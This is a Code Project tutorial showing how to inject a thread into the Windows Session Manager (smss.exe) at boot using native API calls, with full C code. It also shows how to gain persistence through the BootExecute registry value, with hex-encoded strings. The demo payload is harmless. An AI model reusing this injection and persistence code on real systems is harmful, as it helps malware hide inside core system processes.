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Native Thread Injection | Into the Session Manager Subsystem

, 11 May 2009
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This small article describes thread injection routine from one windows native application into another, in this case - injection into Session Manager Subsystem during system boot.
Native Thread Injection

Disclaimer: Please, do not use provided code in malicious software.

Introduction

So, that's not actually some mega explanation paper about some cool hacker stuff, just a little advisory. I will not explain a lot of code here, because it will be A LOT. This paper is based on my other paper: 3 steps down the stairs, but here we will take a look at Thread Injection inside the Windows native world. So, I will show you a working example of how you can inject a thread from one native application into another, in this case, it will be Session Manager Subsystem. It will be an injection attack against smss.exe.
Just a few things for people unfamiliar with all this native stuff. A little quote from Wiki:

The Native API (with capitalized N) is the publicly incompletely documented application programming interface used internally by the Windows NT family of operating systems produced by Microsoft [1]. Most of the Native API calls are implemented in ntoskrnl.exe and are exposed to user mode by ntdll.dll. Some Native API calls are implemented in user mode directly within ntdll.dll.

While most of Microsoft Windows is implemented using the documented and well-defined Windows API, a few components, such as the Client/Server Runtime Subsystem are implemented using the Native API, as they are started early enough in the Windows NT Startup Process that the Windows API is not available yet.

Native Windows API are sometimes used in Win32 applications, rarely in legit apps, mostly in malware. Examining malicious code, you can often observe its usage in the following way:

--[file header.h]--

typedef  WINAPI NTAPI;

typedef struct _MY_AWESOME_STRUCTURE {
    USHORT Argument;
    USHORT NextArgument;
    PWSTR  Whatever;
} MY_AWESOME_STRUCTURE;

typedef MY_AWESOME_STRUCTURE *PMY_AWESOME_STRUCTURE;

NTSTATUS
(NTAPI *NtAwesomeFunction)
( PMY_AWESOME_STRUCTURE  Something ,PCWSTR NextSomething);

--[file main.c]--

#include <span class="code-keyword"><windows.h></span>
#include <span class="code-string">"header.h"</span>

BOOL GimmeNative(){
HMODULE hObsolete  = GetModuleHandle("ntdll.dll");
*(FARPROC *)&NtAwesomeFunction = GetProcAddress(hObsolete, "NtAwesomeFunction");
return 0;
}

Int main(){
MY_AWESOME_STRUCTURE argument1;
PCWSTR argument2;
GimmeNative();
NtAwesomeFunction(argument1, argument2);
Return 0;
}

That's how it is done from the Win32 world. But that's just an example for those of you who don't know much about it or never encounter such. For malware researchers, obvious. Now, to give you an idea about pure native application, I will present here probably the simplest example of it.

--[file nt.h]--

#define NtCurrentProcess() ( (HANDLE) -1 )
// structures...
typedef struct {
       ULONG            Unknown[21];
       UNICODE_STRING   CommandLine;
       UNICODE_STRING   ImageFile;
} ENVIRONMENT_INFORMATION, *PENVIRONMENT_INFORMATION;

typedef struct {
       ULONG                     Unknown[3];
       PENVIRONMENT_INFORMATION  Environment;
} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT;

// function definitions..
NTSTATUS NTAPI NtDisplayString(PUNICODE_STRING String );	// similar to win32 
							// sleep function
NTSTATUS NTAPI NtDelayExecution(IN BOOLEAN Alertable, 
			IN PLARGE_INTEGER DelayInterval ); // like sleep
NTSTATUS NTAPI NtTerminateProcess(HANDLE ProcessHandle, 
				LONG ExitStatus ); // terminate own process
VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING DestinationString,
			PCWSTR SourceString); // initialization of unicode string

--[file nt.c]--

#include <span class="code-keyword"><ddk\ntddk.h></span>
#include <span class="code-string">"nt.h"</span>

// just to make life easier, we create our own sleep like function 
// with argument in seconds
BOOL NtDelayExecutionEx(DWORD dwSeconds){
     LARGE_INTEGER Interval;
     Interval.QuadPart = -(unsigned __int64)dwSeconds * 10000 * 1000;
     NtDelayExecution (FALSE, &Interval);
}

void NtProcessStartup( PSTARTUP_ARGUMENT Argument ){ // entry point
UNICODE_STRING dbgMessage;	// unicode string
RtlInitUnicodeString(&dbgMessage, L"Hello from Native :)\n"); // lets initialize it
NtDisplayString( &dbgMessage );	// print message
NtDelayExecutionEx(5);	// sleep 5 secs
NtTerminateProcess( NtCurrentProcess(), 0 ); // terminate our own process and 
				// return control to session manager subsystem
}

So, this application will do just a few useless things: it will print out, during system boot time, on a blue screen a message "Hello from Native Smile | :) ", sleep for 5 seconds and terminate itself. Easy. And now I will show you how this above function can be injected into session manager subsystem. A thread injection is a widely known routine and there is nothing special about it, but I couldn't find anything, describing this technique in native applications on the net, so here we go. All right, straight to the subject my friends, we don't have much time, life is too short...

Into the Code

~~~~[code snippet / file inject.c]~~~~

#include <span class="code-keyword"><ddk\ntddk.h></span>
#include <span class="code-string">"nt.h"</span>
// our remote functions prototypes
typedef VOID (NTAPI *my_RtlInitUnicodeString)(PUNICODE_STRING ,PCWSTR);
typedef NTSTATUS (NTAPI *my_NtDisplayString)(PUNICODE_STRING);
typedef NTSTATUS (NTAPI *my_NtTerminateThread)( HANDLE , NTSTATUS  );
typedef NTSTATUS (NTAPI *my_NtDelayExecution)(BOOLEAN, PLARGE_INTEGER);

Now build the remote structure...

~~~~[code snippet / file inject.c]~~~~

typedef struct _NtRemoteStructure {

PVOID pvRtlInitUnicodeString;
PVOID pvNtDisplayString;
PVOID pvNtTerminateThread;
WCHAR dbgMessage[100];
UNICODE_STRING output;

} NtRemoteStructure;

NtRemoteStructure my_Structure,*pmy_Structure;

Ok, and now you'll probably ask, but how the hell we get the pid of smss.exe? We only know such functions like: Process32Next, CreateToolHelpSnapShot, Process32First. No, we know much more...

~~~~[code snippet / inject.c]~~~~

HANDLE KeGetPID(WCHAR *pstrProcessName){
	UNICODE_STRING dbgMessage;
        NTSTATUS Status;
        SIZE_T cbBuffer = 0x8000;
        PVOID pBuffer = NULL;
        HANDLE hResult = NULL;
		PULONG dwId;
		PSYSTEM_PROCESSES pProcesses;
		RTL_HEAP_DEFINITION  heapParams;
		heapParams.Length = sizeof( RTL_HEAP_PARAMETERS );

        do{
		pBuffer = (void *)RtlAllocateHeap(NtGetProcessHeap(), 
			0, cbBuffer); if (pBuffer == NULL){return 0;}
            Status = NtQuerySystemInformation(SystemProcessInformation,pBuffer, 
							cbBuffer, NULL);
            if (Status == STATUS_INFO_LENGTH_MISMATCH){
			RtlFreeHeap(NtGetProcessHeap(), 0, pBuffer); cbBuffer *= 2;
            }else if (!NT_SUCCESS(Status)){
				RtlFreeHeap(NtGetProcessHeap(), 0, pBuffer); 
				return 0;
			}
        }
        while (Status == STATUS_INFO_LENGTH_MISMATCH);
        pProcesses = (PSYSTEM_PROCESSES)pBuffer;

        for (;;){
            WCHAR *pszProcessName = pProcesses->ProcessName.Buffer;
            if (pszProcessName == NULL)pszProcessName = L"Idle";
            if(wcscmp(pszProcessName, pstrProcessName) == 0){
				dwId = (HANDLE)pProcesses->ProcessId;
                break;
            }

            if (pProcesses->NextEntryDelta == 0)break;
            pProcesses = (PSYSTEM_PROCESSES)(((BYTE *)pProcesses)+ 
					pProcesses->NextEntryDelta);
        }
RtlFreeHeap(NtGetProcessHeap(), 0, pBuffer);
return dwId;
}

That's it. This function will do the work. So, I am still not a close "friend" of NtAllocateVirtualMemory, that's why we are going across:

~~~~[code snippet / inject.c]~~~~

LPVOID NTAPI NtVirtualAllocEx(IN HANDLE hProcess,
	IN LPVOID  lpAddress,IN SIZE_T dwSize,	// VirtualAllocEx
		                     IN DWORD flAllocationType, IN DWORD  flProtect) {
     NTSTATUS Status;
     Status = NtAllocateVirtualMemory(hProcess,(PVOID *)&lpAddress,0,
				&dwSize,flAllocationType,flProtect);
     if (!NT_SUCCESS(Status))return NULL;
     return lpAddress;
}

And sleep function, just to make life easier.

~~~~[code snippet / inject.c]~~~~

BOOL NtDelayExecutionEx(DWORD dwSeconds){
     LARGE_INTEGER Interval;
     Interval.QuadPart = -(unsigned __int64)dwSeconds * 10000 * 1000;
     NtDelayExecution (FALSE, &Interval);
}

Ok, let's write our remote thread function:

~~~~[code snippet / inject.c]~~~~

DWORD __stdcall ReThread(NtRemoteStructure *Parameter){

my_RtlInitUnicodeString myRtlInitUnicodeString = 
	(my_RtlInitUnicodeString)Parameter->pvRtlInitUnicodeString;
my_NtDisplayString myNtDisplayString = 
	(my_NtDisplayString)Parameter->pvNtDisplayString;
my_NtTerminateThread myNtTerminateThread = 
	(my_NtTerminateThread)Parameter->pvNtTerminateThread;

myRtlInitUnicodeString( &(Parameter->output), Parameter->dbgMessage);
myNtDisplayString(&Parameter->output);
myNtTerminateThread(NtCurrentThread(), 0);
}

And now we are heading forward and writing really fast our main function, which is in fact responsible for execution of a remote thread, injection and all the dirty work. Wink | ;)

~~~~[code snippet / inject.c]~~~~

void NtProcessStartup( PSTARTUP_ARGUMENT Argument ){

void *pThread;
HANDLE hProcess; // handle to smss
UNICODE_STRING dbgMessage, uniNameNtDLL; // ....[].......
OBJECT_ATTRIBUTES ObjectAttributes; // needed for open process function
BOOL en; // out argument, needed for adjust privilege function
WCHAR storage[250]; // here we will store smss's pid for later manipulations ;)
CLIENT_ID ClientId; // this will contain smss's pid
SIZE_T stThreadSize = 2048; // size of our remote thread
HANDLE hNtDLL; // handle to loaded ntdll.dll
ANSI_STRING ansiRtlInitUnicodeString, ansiNtDisplayString, ansiNtTerminateThread;
// ^ this strings will contain names of our import functions, 
// passed to LdrGetProcedureAddress;
// functions names must be ansi strings

PVOID fRtlInitUnicodeString, fNtDisplayString, fNtTerminateThread;

RtlInitUnicodeString(&dbgMessage, L"\nTrying to inject thread...\n");
NtDisplayString( &dbgMessage );

RtlAdjustPrivilege(20, TRUE, AdjustCurrentProcess, &en); // set debug privileges
ClientId.UniqueProcess = (HANDLE)KeGetPID(L"smss.exe"); // get smss.exe pid
ClientId.UniqueThread = 0; // zero
swprintf(storage, L"smss pid: %d", ClientId); // store smss pid for later print out
RtlInitUnicodeString(&dbgMessage, storage);
NtDisplayString( &dbgMessage ); // print smss's pid

InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); // whatever...
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS  , 
	&ObjectAttributes, &ClientId); // open this smss.exe programm xD
pThread = NtVirtualAllocEx(hProcess, 0, stThreadSize, 
		MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(hProcess, pThread, &ReThread, stThreadSize,0);
RtlZeroMemory(&my_Structure,sizeof(NtRemoteStructure));
// ^ we are allocating memory in smss.exe

RtlInitUnicodeString(&uniNameNtDLL, L"ntdll.dll"); 	// convert "ntdll.dll" to 
						// unicode string
RtlInitAnsiString(&ansiRtlInitUnicodeString,  "RtlInitUnicodeString"); // conversion to 
							       // ansi string
RtlInitAnsiString(&ansiNtDisplayString,  "NtDisplayString");
RtlInitAnsiString(&ansiNtTerminateThread,  "NtTerminateThread");

LdrLoadDll(NULL ,0 , &uniNameNtDLL, &hNtDLL); // load ntdll.dll

LdrGetProcedureAddress(hNtDLL, &ansiRtlInitUnicodeString, 0, &fRtlInitUnicodeString);
LdrGetProcedureAddress(hNtDLL, &ansiNtDisplayString, 0, &fNtDisplayString);
LdrGetProcedureAddress(hNtDLL, &ansiNtTerminateThread, 0, &fNtTerminateThread);
// ^ lets get all needed procedures addresses

my_Structure.pvRtlInitUnicodeString = (void *)fRtlInitUnicodeString;
my_Structure.pvNtDisplayString = (void *)fNtDisplayString;
my_Structure.pvNtTerminateThread = (void *)fNtTerminateThread;
swprintf(my_Structure.dbgMessage, L"\nInjected!\n");
// ^ assign values to the structure

DWORD dwSize = sizeof(NtRemoteStructure);
pmy_Structure =(NtRemoteStructure *)NtVirtualAllocEx 
	(hProcess ,0,sizeof(NtRemoteStructure),MEM_COMMIT,PAGE_READWRITE);
NtWriteVirtualMemory(hProcess ,pmy_Structure,&my_Structure,sizeof(my_Structure),0);
RtlCreateUserThread(hProcess, NULL,FALSE, 0, 0, 0,
		(PVOID)pThread,(PVOID)pmy_Structure, 0, 0);
NtClose(hProcess);
NtDelayExecutionEx(5); // just to show you output from our remote thread inside smss.exe
NtTerminateProcess( NtCurrentProcess(), 0 );
}

That's it. But, to compile the above code, you will need one extra file, a header file. Here we go:

~~~~[file nt.h]~~~~

#define  NtGetProcessHeap()		(NtCurrentTeb()->PebBaseAddress->DefaultHeap)

#define  NtCurrentThread()		((HANDLE) -2)

typedef struct {
       ULONG            Unknown[21];
       UNICODE_STRING   CommandLine;
       UNICODE_STRING   ImageFile;
} ENVIRONMENT_INFORMATION, *PENVIRONMENT_INFORMATION;

#if (_WIN32_WINNT >= 0x0400)
#define EXIT_STACK_SIZE 0x188
#else
#define EXIT_STACK_SIZE 0x190
#endif


typedef struct {
       ULONG                     Unknown[3];
       PENVIRONMENT_INFORMATION  Environment;
} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT;

typedef struct {
	ULONG    	Length;
	ULONG    	Unknown[11];
} RTL_HEAP_DEFINITION, *PRTL_HEAP_DEFINITION;

typedef enum {
     AdjustCurrentProcess,
     AdjustCurrentThread
} ADJUST_PRIVILEGE_TYPE;

typedef STRING *PSTRING;
typedef STRING ANSI_STRING;
typedef PSTRING PANSI_STRING;

typedef struct _CURDIR
{
   UNICODE_STRING	DosPath;
   HANDLE			Handle;
} CURDIR, *PCURDIR;

typedef struct _RTL_DRIVE_LETTER_CURDIR
{
	WORD	Flags;
	WORD	Length;
	DWORD	TimeStamp;
	STRING	DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;

#define	PROCESS_PARAMETERS_NORMALIZED	1	// pointers in are absolute 
						// (not self-relative)

typedef struct _PROCESS_PARAMETERS
{
    ULONG					MaximumLength;
    ULONG					Length;
    ULONG					Flags;	// PROCESS_PARAMETERS_NORMALIZED
    ULONG					DebugFlags;
    HANDLE					ConsoleHandle;
    ULONG					ConsoleFlags;
    HANDLE					StandardInput;
    HANDLE					StandardOutput;
    HANDLE					StandardError;
    CURDIR					CurrentDirectory;
    UNICODE_STRING			DllPath;
    UNICODE_STRING			ImagePathName;
    UNICODE_STRING			CommandLine;
    PWSTR					Environment;
    ULONG					StartingX;
    ULONG					StartingY;
    ULONG					CountX;
    ULONG					CountY;
    ULONG					CountCharsX;
    ULONG					CountCharsY;
    ULONG					FillAttribute;
    ULONG					WindowFlags;
    ULONG					ShowWindowFlags;
    UNICODE_STRING			WindowTitle;
    UNICODE_STRING			Desktop;
    UNICODE_STRING			ShellInfo;
    UNICODE_STRING			RuntimeInfo;
	RTL_DRIVE_LETTER_CURDIR	CurrentDirectores[32];
} PROCESS_PARAMETERS, *PPROCESS_PARAMETERS;

typedef struct _PEB {
	ULONG AllocationSize;
	ULONG Unknown1;
	HANDLE ProcessInstance;
	PVOID DllList;
	PPROCESS_PARAMETERS ProcessParameters;
	ULONG Unknown2;
	HANDLE DefaultHeap;

} PEB, *PPEB;

typedef struct _TEB {
    struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;
    PVOID StackBase;
    PVOID StackLimit;
    PVOID SubSystemTib;
    ULONG Version;
    PVOID ArbitraryUserPointer;
    struct _TEB *Self;

	ULONG Unknown1;
	CLIENT_ID ClientID;
	ULONG Unknown2;
	ULONG Unknown3;
	PPEB PebBaseAddress;
	ULONG LastError;
	ULONG Unknown[0x23];
	ULONG Locale;
	ULONG ExitStack[EXIT_STACK_SIZE];

} TEB;
typedef TEB *PTEB;

typedef struct _SYSTEM_MODULE
{
    ULONG	Reserved[2];
    ULONG	Base;
    ULONG	Size;
    ULONG	Flags;
    USHORT	Index;
    USHORT	Unknown;
    USHORT	LoadCount;
    USHORT	ModuleNameOffset;
    CHAR	ImageName[256];
} SYSTEM_MODULE,
*PSYSTEM_MODULE;

typedef struct _SYSTEM_MODULE_INFORMATION
{
	ULONG			uCount;
	SYSTEM_MODULE	aSM[];
} SYSTEM_MODULE_INFORMATION,
*PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS
{
	SystemBasicInformation,             // 0x002C
	SystemProcessorInformation,         // 0x000C
	SystemPerformanceInformation,       // 0x0138

	SystemTimeInformation,              // 0x0020
	SystemPathInformation,              // not implemented
	SystemProcessInformation,           // 0x00C8+ per process
	SystemCallInformation,              // 0x0018 + (n * 0x0004)
	SystemConfigurationInformation,     // 0x0018
	SystemProcessorCounters,            // 0x0030 per cpu
	SystemGlobalFlag,                   // 0x0004 (fails if size != 4)
	SystemCallTimeInformation,          // not implemented
	SystemModuleInformation,            // 0x0004 + (n * 0x011C)
	SystemLockInformation,              // 0x0004 + (n * 0x0024)
	SystemStackTraceInformation,        // not implemented
	SystemPagedPoolInformation,         // checked build only
	SystemNonPagedPoolInformation,      // checked build only
	SystemHandleInformation,            // 0x0004  + (n * 0x0010)
	SystemObjectTypeInformation,        // 0x0038+ + (n * 0x0030+)
	SystemPageFileInformation,          // 0x0018+ per page file
	SystemVdmInstemulInformation,       // 0x0088
	SystemVdmBopInformation,            // invalid info class
	SystemCacheInformation,             // 0x0024
	SystemPoolTagInformation,           // 0x0004 + (n * 0x001C)
	SystemInterruptInformation,         // 0x0000, or 0x0018 per cpu
	SystemDpcInformation,               // 0x0014
	SystemFullMemoryInformation,        // checked build only
	SystemLoadDriver,                   // 0x0018, set mode only
	SystemUnloadDriver,                 // 0x0004, set mode only
	SystemTimeAdjustmentInformation,    // 0x000C, 0x0008 writeable
	SystemSummaryMemoryInformation,     // checked build only
	SystemNextEventIdInformation,       // checked build only
	SystemEventIdsInformation,          // checked build only
	SystemCrashDumpInformation,         // 0x0004
	SystemExceptionInformation,         // 0x0010
	SystemCrashDumpStateInformation,    // 0x0004
	SystemDebuggerInformation,          // 0x0002
	SystemContextSwitchInformation,     // 0x0030
	SystemRegistryQuotaInformation,     // 0x000C
	SystemAddDriver,                    // 0x0008, set mode only
	SystemPrioritySeparationInformation,// 0x0004, set mode only
	SystemPlugPlayBusInformation,       // not implemented
	SystemDockInformation,              // not implemented
	SystemPowerInfo,					// 0x0060 (XP only!)
	SystemProcessorSpeedInformation,    // 0x000C (XP only!)
	SystemTimeZoneInformation,          // 0x00AC
	SystemLookasideInformation,         // n * 0x0020
	SystemSetTimeSlipEvent,
    SystemCreateSession,				// set mode only
    SystemDeleteSession,				// set mode only
    SystemInvalidInfoClass1,			// invalid info class
    SystemRangeStartInformation,		// 0x0004 (fails if size != 4)
    SystemVerifierInformation,
    SystemAddVerifier,
    SystemSessionProcessesInformation,	// checked build only
	MaxSystemInfoClass
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct THREAD_BASIC_INFORMATION
{
	NTSTATUS	ExitStatus;
	PVOID		TebBaseAddress;
	CLIENT_ID	ClientId;
	KAFFINITY	AffinityMask;
	KPRIORITY	Priority;
	KPRIORITY	BasePriority;

} THREAD_BASIC_INFORMATION,
*PTHREAD_BASIC_INFORMATION;

typedef enum _KTHREAD_STATE {
    Initialized,
    Ready,
    Running,
    Standby,
    Terminated,
    Waiting,
    Transition,
    DeferredReady,
} THREAD_STATE, *PTHREAD_STATE;

typedef struct _SYSTEM_THREADS
{
	LARGE_INTEGER KernelTime;
	LARGE_INTEGER UserTime;
	LARGE_INTEGER CreateTime;
	ULONG         WaitTime;
	PVOID         StartAddress;
	CLIENT_ID     ClientId;
	KPRIORITY     Priority;
	KPRIORITY     BasePriority;
	ULONG         ContextSwitchCount;
	THREAD_STATE  State;
	KWAIT_REASON  WaitReason;
}SYSTEM_THREADS,*PSYSTEM_THREADS;

typedef struct _VM_COUNTERS
{
	ULONG PeakVirtualSize;
	ULONG VirtualSize;
	ULONG PageFaultCount;
	ULONG PeakWorkingSetSize;
	ULONG WorkingSetSize;
	ULONG QuotaPeakPagedPoolUsage;
	ULONG QuotaPagedPoolUsage;
	ULONG QuotaPeakNonPagedPoolUsage;
	ULONG QuotaNonPagedPoolUsage;
	ULONG PagefileUsage;
	ULONG PeakPagefileUsage;
}VM_COUNTERS,*PVM_COUNTERS;

typedef struct _SYSTEM_PROCESSES {
	ULONG  NextEntryDelta;
	ULONG  ThreadCount;
	ULONG  Reserved1[6];
	LARGE_INTEGER  CreateTime;
	LARGE_INTEGER  UserTime;
	LARGE_INTEGER  KernelTime;
	UNICODE_STRING  ProcessName;
	KPRIORITY  BasePriority;
	HANDLE  ProcessId;
	HANDLE  InheritedFromProcessId;
	ULONG  HandleCount;
	ULONG  Reserved2[2];
	VM_COUNTERS  VmCounters;
	IO_COUNTERS  IoCounters;
	SYSTEM_THREADS  Threads[1];
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

typedef NTSTATUS(NTAPI * PRTL_HEAP_COMMIT_ROUTINE)(IN PVOID Base,
		IN OUT PVOID *CommitAddress,IN OUT PSIZE_T CommitSize);

typedef struct _RTL_HEAP_PARAMETERS {
    ULONG Length;
    SIZE_T SegmentReserve;
    SIZE_T SegmentCommit;
    SIZE_T DeCommitFreeBlockThreshold;
    SIZE_T DeCommitTotalFreeThreshold;
    SIZE_T MaximumAllocationSize;
    SIZE_T VirtualMemoryThreshold;
    SIZE_T InitialCommit;
    SIZE_T InitialReserve;
    PRTL_HEAP_COMMIT_ROUTINE CommitRoutine;
    SIZE_T Reserved[ 2 ];
} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS;

NTSTATUS NTAPI NtDisplayString(PUNICODE_STRING String );

NTSTATUS NTAPI NtTerminateProcess(HANDLE ProcessHandle, LONG ExitStatus );

#define NtCurrentProcess() ( (HANDLE) -1 )

HANDLE NTAPI RtlCreateHeap(ULONG Flags, PVOID BaseAddress, 
				ULONG SizeToReserve, ULONG SizeToCommit,
				PVOID Unknown,PRTL_HEAP_DEFINITION Definition);

PVOID NTAPI RtlAllocateHeap(HANDLE Heap, ULONG Flags, ULONG Size );

VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING DestinationString,PCWSTR SourceString);

LONG 	 __stdcall RtlAdjustPrivilege(int,BOOL,BOOL,BOOL *);

NTSTATUS NTAPI NtClose(IN HANDLE ObjectHandle );

NTSTATUS NTAPI NtDelayExecution(IN BOOLEAN Alertable, IN PLARGE_INTEGER DelayInterval );

NTSTATUS NTAPI RtlCreateUserThread(IN HANDLE ProcessHandle, 
			IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
			IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, 
			IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, 
			IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL,
			OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID );

PVOID NTAPI RtlAllocateHeap(IN PVOID HeapHandle, IN ULONG Flags, IN ULONG Size );

NTSTATUS NTAPI NtQuerySystemInformation
    (IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation,
	IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );

BOOLEAN NTAPI RtlFreeHeap(IN PVOID HeapHandle, IN ULONG Flags OPTIONAL, 
						IN PVOID MemoryPointer );

NTSTATUS NTAPI NtWaitForSingleObject(IN HANDLE ObjectHandle, 
		IN BOOLEAN Alertable, IN PLARGE_INTEGER TimeOut OPTIONAL );

NTSTATUS NTAPI NtOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK AccessMask,
            	IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId );

NTSTATUS NTAPI NtTerminateThread(IN HANDLE ThreadHandle, IN NTSTATUS ExitStatus );

NTSTATUS NTAPI NtAllocateVirtualMemory(IN HANDLE ProcessHandle, 
		IN OUT PVOID *BaseAddress, IN ULONG ZeroBits,
		IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );

NTSTATUS NTAPI NtWriteVirtualMemory(IN HANDLE ProcessHandle, 
		IN PVOID BaseAddress, IN PVOID Buffer,
		IN ULONG NumberOfBytesToWrite, 
		OUT PULONG  NumberOfBytesWritten OPTIONAL);

NTSTATUS NTAPI LdrGetProcedureAddress(IN HMODULE ModuleHandle, 
		IN PANSI_STRING FunctionName OPTIONAL,
		IN WORD Oridinal OPTIONAL, OUT PVOID *FunctionAddress );

NTSTATUS NTAPI LdrLoadDll( IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL,
                        IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle );

Outro

So, you have to create two files from all that above: nt.c and nt.h. Next, compile them:

wine /root/bin/MinGW/bin/gcc.exe nt.c -o native.exe -lntdll 
		-nostdlib -Wl,--subsystem,native,-e,_NtProcessStartup

Yes, you have to remove something from the line, because I am compiling Windows applications on my Linux box.

Next, put native.exe into your system32 folder manually or do it the programmer's way:

CopyFile("native.exe","C:\\windows\\system32\\native.exe",FALSE);
DeleteFile("native.exe");

Then, edit the proper thing in the Windows registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager -> 
				BootExecute | autocheck autochk * native

Screenshot:

Native Thread Injection

Correct binary data, because it produces 5 zeros and there should only be 3, like this:

Native Thread Injection

... or do it the programmer's way:

char lpszA[] = {0x61,0x75,0x74,0x6f,0x63,0x68,0x65,0x63,0x6b,0x20,
	0x61,0x75,0x74,0x6f,0x63,0x68,0x6b,0x20,0x2a,0x00}; // autocheck autochk *
char lpszB[] = {0x6e,0x61,0x74,0x69,0x76,0x65, 0x00}; // native
char boo_ex[] = { 0x42, 0x6f, 0x6f, 0x74, 0x45, 0x78, 0x65, 
			0x63, 0x75, 0x74, 0x65, 0x00};// BootExecute
	DWORD dwSize = ((strlen(lpszA) + strlen(lpszB)) + 3);
	LPBYTE lpNative = (BYTE *)RtlAllocateHeap(NtGetProcessHeap(),0,dwSize);
	memset(lpNative, 0, dwSize);
	memcpy(lpNative, lpszA, strlen(lpszA) + 1);
	memcpy(lpNative + strlen(lpszA) + 1, lpszB, strlen(lpszB) + 1);
	if (RegOpenKey(HKEY_LOCAL_MACHINE, "\\SYSTEM\\CurrentControlSet\\
			Control\\SessionManager", &hk) == STATUS_SUCCESS){
		RegDeleteValue(hk, boo_ex);
		RegSetValueEx(hk, TEXT(boo_ex), 0, REG_MULTI_SZ, 
				(LPBYTE) lpNative,(DWORD) dwSize -1);
	} 

Reboot your Windows system and here we go!

Native Thread Injection

Best regards, cross <cross[at]x1machine.com>

History

  • 9th May, 2009: Initial version

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

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About the Author

csrss
Software Developer Codeceptive Studios
United States United States
tech[at]codeceptive.com

Comments and Discussions

 
GeneralMy vote of 5 Pinmembersearas12-Feb-13 5:13 
5. Cool
GeneralCode Pinmemberjlkdaslkfjd17-Jun-11 7:03 
GeneralVery nice PinmemberSteven Relis21-Jun-09 2:10 
GeneralAwesome!! PinmemberDr.Luiji9-Jun-09 2:13 
GeneralHum... Pinmembercacalex20-May-09 10:22 
Generalcool! I voted 5 Pinmembereleqi11-May-09 21:18 
GeneralRe: cool! I voted 5 Pinmembercsrss12-May-09 14:49 

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